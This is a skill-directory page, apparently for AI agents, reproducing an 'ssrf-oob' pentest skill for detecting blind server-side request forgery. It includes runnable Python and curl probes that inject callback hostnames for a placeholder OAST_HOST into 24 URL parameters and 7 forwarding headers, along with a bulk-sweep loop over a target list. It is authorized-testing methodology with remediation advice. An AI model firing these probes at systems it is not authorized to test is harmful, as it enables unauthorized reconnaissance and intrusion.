ssrf-oob

通过将带外回调地址注入 URL 参数并转发请求头,然后观察是否收到回调请求,以证明存在盲 SSRF 漏洞。适用于盲 SSRF 测试场景。

仓库最近推送
GitHub Stars
156
Forks
34
Issues / PRs
0

安装方式

先用 Prompt 核对来源与依赖。也可下载安装包。

用 AI 助手安装

复制提示词,让助手先核对固定版本和依赖。

查看 Prompt收起 Prompt
先检查当前 Agent 是否已安装 SkillPI Skill Finder。如果尚未安装,请按官方仓库的说明安装并启用:https://github.com/Findskills/skillpi。然后使用 Skill Finder 打开此 SkillPI 详情页并定位 "ssrf-oob":https://skillpi.com/zh/skills/deepskill-f4fc2a9d5dd8fcb7e5e02f1a107d433e1bdd5cdc0e57b44555fc4e12441ae573。安装前核对上游来源和版本:https://github.com/forefy/.context。来源不一致时停止并说明差异。核对通过后,用 Skill Finder 安装目标 Skill,并报告安装路径和来源版本。

来源与配置

github.com

配置方式待核实

请查看原始来源中的适用工具、依赖和权限要求。

安装实测待补充

通过将带外回调地址注入 URL 参数并转发请求头,然后观察是否收到回调请求,以证明存在盲 SSRF 漏洞。适用于盲 SSRF 测试场景。

0 下载

介绍来源: third_party · forefy · 0.0.1 参考来源

SkillPi 解读

能完成的任务
翻译待完成,请参阅来源文档。
输入和输出
翻译待完成,请参阅来源文档。
实测状态
未测试

文件浏览

在原站浏览文件 ↗

原始 SKILL.md

打开原文 ↗
Frontmatter
name: ssrf-oob
description: Prove blind SSRF by injecting an out-of-band callback into URL params and forwarding headers, then watching for the hit. Use when testing for SSRF.
compatibility: Requires an OAST listener (interactsh-client or Burp Collaborator)

Contents

  • Scope & authorization
  • Step 0 - stand up the collaborator / OAST listener
  • Injection points (query params, headers, bulk sweep)
  • Port -> scheme logic
  • Methodology
  • Runnable snippets
  • Output

Scope & authorization

Only run against hosts you own or are contractually engaged to test. This check is active and aggressive: it sends live HTTP requests that try to coerce the target into making outbound DNS/HTTP requests to infrastructure you control. Do not point it at third parties.

The whole method is out-of-band: the target's HTTP response usually will not tell you whether SSRF fired. The signal is the interaction (a DNS resolution and/or an HTTP hit) arriving at your callback host. So the OAST listener is the instrument - stand it up first and keep watching it throughout.

Step 0 - stand up the collaborator / OAST listener

You need a host that logs inbound DNS and HTTP and that you can attribute hits back to. Any of these works; they are interchangeable for this method:

  • Interactsh (interactsh-client) - self-hostable, gives you a unique callback domain and a live feed of DNS/HTTP/SMTP hits.
  • Burp Collaborator - "Copy to clipboard" a payload domain; poll for interactions.
  • Your own authoritative DNS + web log - a domain whose NS you control; tail the query log and a listener on 80/443.

Call this callback host OAST_HOST below. The core trick: encode who fired the callback into the hostname itself by prefixing a unique label, e.g. dest.OAST_HOST, xforwardedfor.OAST_HOST, or t3-url.OAST_HOST. Because every injection point uses a distinct subdomain label, a single lookup in your OAST feed tells you exactly which param/header on which target reached out - even though the HTTP response was silent.

Injection points

A server-side fetch can be triggered from three places an app commonly trusts. Test all three.

A. Query params - parameters whose value the app treats as a URL/host/path to fetch, follow, or render. Wordlist (24, carry verbatim):

dest, redirect, uri, path, continue, url, window, next, data,
reference, site, html, val, validate, callback, return, page,
feed, host, port, to, out, view, dir

B. Request headers - forwarding/client-IP headers that reverse proxies and app frameworks sometimes resolve or fetch. Header list (dedup of the source set):

X-Forwarded-Host, X-Forwarded-Server, X-Forwarded-For,
X-Real-IP, Client-IP, HTTP-X-Forwarderd-For, HTTP-X-Forwarderd-Host

The last two carry the source's real (misspelled) Forwarderd variants on purpose - some frameworks pass through non-canonical header names, so keep them exactly as written.

C. Bulk sweep - the same param payload fired at every in-scope host:port at once, to surface any endpoint that fetches a URL param without you having mapped its routes first.

Port -> scheme logic

Inputs are host:port pairs. Map to a base URL the same way the source does, and skip anything else:

  • :80 -> http://host
  • :443 -> https://host
  • any other port -> no probe (extend the map explicitly if you know a service's scheme).

Use a browser-like User-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/102 Safari/537.36) so trivial UA filtering does not drop the probe, and disable TLS verification for https targets (self-signed origins are common and should still be tested).

Methodology (run in order)

  1. Arm the listener. Bring up OAST_HOST (Step 0) and confirm you see your own test lookup (dig test.OAST_HOST) land in the feed before probing anything.
  2. Query-param injection. For each in-scope target, build one request that sets every param in the wordlist to a uniquely-labelled callback host, and send it. One request per target covers all 24 params.
  3. Header injection. For each target, send a request whose value for each forwarding header is a per-header-labelled callback host ({header-without-dashes, lowercased}.OAST_HOST). One request per target covers all headers; the label tells you which header the server resolved.
  4. Bulk sweep. Replay Step 2's param payload across the full host:port list so any unmapped endpoint that fetches a URL param reveals itself.
  5. Watch the feed. Poll/tail the OAST listener during and for a few minutes after the run - blind fetches, queue workers, and link "unfurlers" can fire seconds to minutes late. Match each inbound subdomain label back to its param/header/target.
  6. Classify the hit. A DNS-only lookup proves the server (or a downstream resolver it uses) processed your host as a name - SSRF-capable, worth escalating. A full HTTP hit proves the server actually connected out - unambiguous SSRF; note whether it arrived on 80 or 443 and any User-Agent/source IP it presented.

Report a finding when: any DNS or HTTP interaction reaches OAST_HOST that is attributable to a value you injected. The unique subdomain label identifies the exact injection point (param name or header) and target that caused the server to make an outbound request - that is a confirmed out-of-band SSRF (DNS-only = strong signal / likely blind SSRF; HTTP hit = confirmed full-request SSRF).

Runnable snippets

# 0  arm OAST and sanity-check it (Interactsh shown; substitute Collaborator / own DNS)
interactsh-client -v            # note the printed callback domain -> OAST_HOST
dig +short test.OAST_HOST       # should appear in the interactsh feed

# 2  query-param injection across all 24 params, unique label per param, one target
python3 - <<'PY'
import urllib.parse, urllib.request, ssl
OAST="OAST_HOST"; TARGET="https://host"          # from :443 (use http:// for :80)
UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
params=["dest","redirect","uri","path","continue","url","window","next","data","reference",
        "site","html","val","validate","callback","return","page","feed","host","port","to","out","view","dir"]
qs=urllib.parse.urlencode({p:f"{p}.{OAST}" for p in params})   # label = the param name
req=urllib.request.Request(f"{TARGET}?{qs}",headers={"User-Agent":UA})
try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())
except Exception: pass
PY

# 3  header injection, unique label per header, one target
python3 - <<'PY'
import urllib.request, ssl
OAST="OAST_HOST"; TARGET="https://host"
UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
hdrs=["X-Forwarded-Host","X-Forwarded-Server","X-Forwarded-For","X-Real-IP","Client-IP",
      "HTTP-X-Forwarderd-For","HTTP-X-Forwarderd-Host"]
h={x:f"{x.replace('-','').lower()}.{OAST}" for x in hdrs}      # label = flattened header name
h["User-Agent"]=UA
req=urllib.request.Request(TARGET,headers=h)
try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())
except Exception: pass
PY

# 2/4 pure-curl one-target param probe (bulk = loop this over the host:port list)
curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
  "https://host/?dest=dest.OAST_HOST&redirect=redirect.OAST_HOST&url=url.OAST_HOST&uri=uri.OAST_HOST&path=path.OAST_HOST&continue=continue.OAST_HOST&next=next.OAST_HOST&callback=callback.OAST_HOST&feed=feed.OAST_HOST&host=host.OAST_HOST&out=out.OAST_HOST&view=view.OAST_HOST&dir=dir.OAST_HOST&reference=reference.OAST_HOST&site=site.OAST_HOST&return=return.OAST_HOST&page=page.OAST_HOST&window=window.OAST_HOST&data=data.OAST_HOST&val=val.OAST_HOST&validate=validate.OAST_HOST&to=to.OAST_HOST&port=port.OAST_HOST&html=html.OAST_HOST"

# 3  pure-curl one-target header probe
curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
  -H "X-Forwarded-Host: xforwardedhost.OAST_HOST" -H "X-Forwarded-Server: xforwardedserver.OAST_HOST" \
  -H "X-Forwarded-For: xforwardedfor.OAST_HOST"   -H "X-Real-IP: xrealip.OAST_HOST" \
  -H "Client-IP: clientip.OAST_HOST"              -H "HTTP-X-Forwarderd-For: httpxforwarderdfor.OAST_HOST" \
  -H "HTTP-X-Forwarderd-Host: httpxforwarderdhost.OAST_HOST" \
  "https://host/"

# 4  bulk sweep over a host:port list (targets.txt = one host:port per line)
while IFS=: read -r host port; do
  case "$port" in 80) base="http://$host";; 443) base="https://$host";; *) continue;; esac
  curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
    "$base/?url=${host//./-}-url.OAST_HOST&redirect=${host//./-}-redirect.OAST_HOST&dest=${host//./-}-dest.OAST_HOST"
done < targets.txt

Output

Finish with a per-injection-point ledger, then a one-line verdict:

Injection point Probed? Interaction? Which fired
Query params (24) DNS / HTTP / none e.g. url on host:443
Headers (7) DNS / HTTP / none e.g. X-Forwarded-Host
Bulk sweep DNS / HTTP / none e.g. host:443 via redirect
  • Clean - every injection point probed, listener watched well past the request window, no attributable interaction. Note it as not proven vulnerable rather than proven safe: OOB depends on egress being allowed, so an egress-filtered target can be silently vulnerable to in-band SSRF - flag that as an unrun angle.
  • Vulnerable - one or more attributable callbacks. Name the injection point (param/header), the target, and DNS-only vs full-HTTP, and recommend the fix: validate/allowlist outbound destinations, resolve-and-pin to allowed IP ranges (block RFC1918/link-local/metadata), do not resolve or fetch client-controlled forwarding headers, and disable HTTP redirect-following on server-side fetchers.

Report each injection point's true status - probed or not-run - so coverage is honest; a silent listener is only meaningful if the requests actually went out.

当前收录版本

0.0.1

核对来源版本 ↗

安全与评测信息

质量评测

满分100 · 来自 SkillPi LAB 实验室的评测报告。

场景价值92/100

亮点

  • 直接解决安全测试中的核心任务痛点,适用于 SSRF 漏洞测试场景,具有明确的实用价值和应用场景。
触发精准88/100

亮点

  • 触发词精准完整,覆盖多种变体,边界清晰。description 明确描述了 Skill 的用途和适用场景。
结构规范85/100

亮点

  • Phase/步骤清晰,有出口条件,含端到端示例,frontmatter完整,单文件≤500行。
执行可靠90/100

亮点

  • 工具来源明确,参数正确,覆盖主要异常,不可逆操作有确认机制。
证据可验 (前四项均值)89/100

取前四项原始分值的算术平均,四舍五入取整。可通过收录报告核对各项评分与说明,运行记录需单独查证。

正文静态检测

100 / 100 · skillpi-20261123-no-r3-v1

正文未命中当前规则。

分数仅反映正文中的规则命中,供使用前参考。附件与运行行为不在此评分范围内。

权限与使用前检查

根据当前主文档自动整理,命中内容可能是示例或防护说明;不是实际权限声明,也未覆盖附件、外部依赖或运行行为。

未从主文档识别到上述常见操作,不能据此判断无需权限或没有风险。

文档引用的域名或地址

这些地址可能用于文档链接或示例,不是已批准的联网清单。使用前核对实际目的地及发送的数据。

  • host

本站展示提示不会授予权限。涉及文件改动、密钥、外部发送或费用时,仍由你使用的工具按需确认。

安全评级与访问范围

safe · 静态证据核验,不代表运行安全保证。

使用前请由宿主核对并授权实际文件读写、外部服务和联网目的地;本站的核验不会授予任何运行权限。